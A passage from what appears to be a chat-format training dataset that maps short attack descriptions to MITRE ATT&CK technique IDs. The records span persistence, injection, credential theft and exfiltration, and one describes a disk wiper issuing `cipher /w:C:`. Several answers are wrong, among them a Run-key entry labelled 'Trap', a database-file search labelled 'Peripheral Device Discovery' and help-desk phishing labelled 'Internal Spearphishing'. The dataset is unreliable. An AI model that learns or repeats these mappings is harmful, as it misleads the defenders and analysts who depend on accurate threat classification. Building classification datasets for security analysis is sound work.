                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan uses a hidden window that is minimized to the system tray and never displayed on the main display."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers lease a container instance in a public cloud and deploy ransomware distribution tools on it."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates the Windows Credential Store for saved network share credentials."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ the \"at\" command to set up a recurring task that downloads additional tools."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a compromised service account in Oracle Cloud Infrastructure to retrieve vault secrets containing database administrator passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised host, the threat actor hijacks an existing SSH channel by injecting malicious commands into the live session."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion involved dropping a custom HTTP handler into IIS that captures credentials and forwards them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised user places a crafted systemd service configuration in the user's home directory and uses '--user' flag to persist."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a compromised credential to request a new MFA code, relying on the user to manually enter it without verification."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging NtCreateThreadEx, the adversary spawns a thread inside a privileged process to bypass defenses."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses a writable /etc/sudoers file to add a backdoor entry for root escalation."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet of compromised gaming consoles was used to launch DDoS attacks against rival gaming services."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s implant polls DNS for a set of algorithmically generated domains, discarding any that return NXDOMAIN and using the first that resolves."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial access, the adversary downloads a PowerShell Empire module from a remote repository to extend capabilities."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a look‑alike domain and redirects victims to a malicious site to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised CMS allows an attacker to embed hidden iframe tags in article content, loading malicious adverts."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised software was used to locate and duplicate authentication certificates, allowing the threat actor to forge valid login tokens."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary forged a Kerberos service ticket (Silver Ticket) using the NTLM hash of a service account to gain unauthorized access to a file share."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sets a registry key under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run to execute code at user logon."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware’s code includes a function that, given a time‑based seed, generates a list of potential domains and pings them."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom C++ malware calls OpenProcess and ReadProcessMemory on the LSASS.exe process to steal user passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code injected via a compromised CMS plugin accesses the browser’s cookie store and writes the values to a hidden file."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a self‑signed root certificate into the macOS keychain to bypass certificate validation."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The file drops a driver that monitors kernel debugger flags to prevent execution in a debug session."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder invoked the Azure Compute service to snapshot a virtual machine, allowing the attacker to retain a forensic copy of the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs DNS calculation based on a combination of the victim’s IP address and a secret token to discover the next C2 server."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code updates the device configuration on a firewall, replacing the legitimate RADIUS server credentials with attacker‑controlled ones."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses vDSO function hooking to achieve process injection on Linux hosts."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages site: operator on Bing to discover hidden subdomains of the victim's network, aiming to map out the internal architecture."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan drops a launchctl plist file into /System/Library/LaunchAgents to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A tool extracts database backups and pushes them to a malicious Box.com account via the Box API, facilitating data exfiltration to the cloud."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages PGP encryption to wrap its C2 messages, ensuring only the attacker can decrypt and read the commands."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary repeatedly sends large volumes of malformed TCP SYN packets to a workstation, exhausting its resources and causing the system to freeze."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By corrupting the RDP virtual channel, the actor swaps their own channel for the victim’s, effectively hijacking the remote session."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is installed as a Windows Service that is configured to start automatically."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware abuses the Windows Management Instrumentation (WMI) to execute a command as a high‑privilege user."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a shim database entry that forces a legitimate Windows binary to load a malicious library, exploiting the Application Compatibility Toolkit."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool performs extra window memory injection, allocating memory in a newly opened window of a user application and injecting malicious functions."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the misuse of NTFS transacted file operations and process creation APIs, the attacker injects code into a process by rolling back a transaction and executing the phantom file, known as Process Doppelgänging."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor patches the macOS SystemImage.dmg with a malicious payload, causing the OS to load the code at boot."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performed an OS credential dumping of NTDS by dumping the Active Directory database via Volume Shadow Copy."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware searches for database files (*.mdb, *.accdb) on the drive and copies them to a staging folder before encrypting."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Red Team simulated an insider threat by reusing a legitimate Office 365 account to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware encrypts configuration files for critical applications, rendering them unusable until payment."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor compromises the domain registrar account and updates the WHOIS contact information to hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group leveraged a batch file to disconnect all active SMB shares, removing indicators of compromise."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan installs a stealthy miner that activates only when the system is idle, maximizing resource usage without user detection."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performed LDAP queries against the Domain Controllers to retrieve the msDS-GroupPolicyContainer objects, mapping the GPO hierarchy."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage OpenShift recurring jobs to launch a data exfiltration script on infected pods."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a wiper that issues `cipher /w:C:` to overwrite free space and delete all data on the drive."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RedTeam writes a custom keylogger in Go to capture keystrokes on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Suspicious process accesses the registry to retrieve the \"InstallDate\" of critical system components."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain attack injects malicious payloads into the installation executable of a widely used development IDE."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor performed OSINT by searching the internet for publicly indexed files related to the target organization."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uploads a Java source file to the victim's server, then triggers the Java compiler to produce the malicious JAR at runtime."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant uses the dlopen and dlsym functions to reflectively load additional modules after establishing persistence."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employed passive network sniffing to capture VoIP calls on the internal network, aiming to harvest credentials and conversations."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker places a malicious executable in a directory that is part of an unquoted system PATH, causing Windows to run the malicious binary instead of the legitimate one."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses the mail protocol to retrieve PowerShell scripts embedded in email attachments via POP3."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set applies custom Base32 encoding to files before exfiltration over FTP."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers alter the registry key for a legitimate service to execute malicious code during service start."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder authenticates to the cloud management console using a valid but stolen GCP service account key."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages multiple proxy layers, hopping between compromised machines to obscure network activity."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a custom utility to strip the Mark‑of‑the‑Web ADS from a malicious executable, allowing it to run without security prompts."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a self‑written archiver, the attacker aggregates exfiltrated files into a single archive to reduce network footprints."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors acquire a compromised email account through credential stuffing to send spear‑phishing messages."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware opens a remote desktop connection to the victim machine for interactive control."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script crawls open source repositories for Dockerfiles that embed plaintext passwords."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script removes the quarantine flag from downloaded files in the ~/Downloads folder, allowing them to bypass Gatekeeper."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload calls the Windows API to programmatically clear the Event Log channel for the System log."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a remote PowerShell session to run Outlook automation scripts that remove all sent and received emails from targeted accounts."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat modifies the BIOS power management settings remotely to lock the system in a high‑performance state, preventing any low‑power state transitions."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers alter the configuration of OSSEC host intrusion detection to ignore certain log patterns that indicate compromise."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group installs a rootkit on a Linux server after exploiting a kernel privilege escalation bug."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploited a remote code execution bug in a printer driver to install a keylogger on the network."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email spoofing the IT help desk asks users to download a driver update from an attached ZIP archive, which installs a backdoor on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
